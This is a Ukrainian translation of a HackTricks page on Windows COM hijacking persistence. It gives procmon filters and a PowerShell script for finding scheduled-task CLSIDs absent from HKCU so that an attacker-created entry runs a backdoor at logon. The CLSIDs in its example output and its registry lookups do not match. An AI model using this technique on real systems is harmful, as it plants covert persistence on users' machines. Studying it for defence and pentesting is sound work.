Поділіться своїми хакерськими трюками, надсилайте PR доHackTricksіHackTricks Cloudрепозиторіїв на GitHub.
Пошук неіснуючих компонентів COM
Оскільки значення HKCU можуть бути змінені користувачами, Захоплення COM може бути використане як постійний механізм. За допомогою procmon легко знайти шукані реєстри COM, яких не існує, які зловмисник може створити для постійності. Фільтри:
Операції RegOpenKey.
де Результат - NAME NOT FOUND.
і Шлях закінчується на InprocServer32.
Після того, як ви вирішили, який неіснуючий COM імітувати, виконайте наступні команди. Будьте обережні, якщо ви вирішили імітувати COM, який завантажується кожні кілька секунд, оскільки це може бути зайвим.
Вразливі компоненти COM планувальника завдань, які можна перехопити
Завдання Windows використовують власні тригери для виклику об'єктів COM, і оскільки вони виконуються через Планувальник завдань, легше передбачити, коли вони будуть запущені.
# Показати COM CLSIDs$Tasks =Get-ScheduledTaskforeach ($Task in $Tasks){if ($Task.Actions.ClassId -ne$null){if ($Task.Triggers.Enabled -eq$true){$usersSid ="S-1-5-32-545"$usersGroup =Get-LocalGroup|Where-Object { $_.SID-eq $usersSid }if ($Task.Principal.GroupId -eq $usersGroup){Write-Host"Ім'я завдання: " $Task.TaskNameWrite-Host"Шлях завдання: " $Task.TaskPathWrite-Host"CLSID: " $Task.Actions.ClassIdWrite-Host}}}}# Приклад виводу:# Ім'я завдання: Приклад# Шлях завдання: \Microsoft\Windows\Example\# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}# [більше подібного до попереднього...]
Перевіривши вивід, ви можете вибрати той, який буде виконуватися кожного разу, коли користувач увійде в систему, наприклад.
Тепер, шукаючи CLSID {1936ED8A-BD93-3213-E325-F38D112938EF} в HKEY_CLASSES_ROOT\CLSID та в HKLM та HKCU, зазвичай ви побачите, що значення не існує в HKCU.
# Exists in HKCR\CLSID\Get-ChildItem-Path"Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"NameProperty------------InprocServer32 (default) : C:\Windows\system32\some.dllThreadingModel:Both# Exists in HKLMGet-Item-Path"HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"|ft-AutoSizeNameProperty------------{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler# Doesn't exist in HKCUPSC:\> Get-Item-Path"HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
Потім ви можете просто створити запис HKCU, і кожного разу, коли користувач увійде в систему, ваш backdoor буде запущений.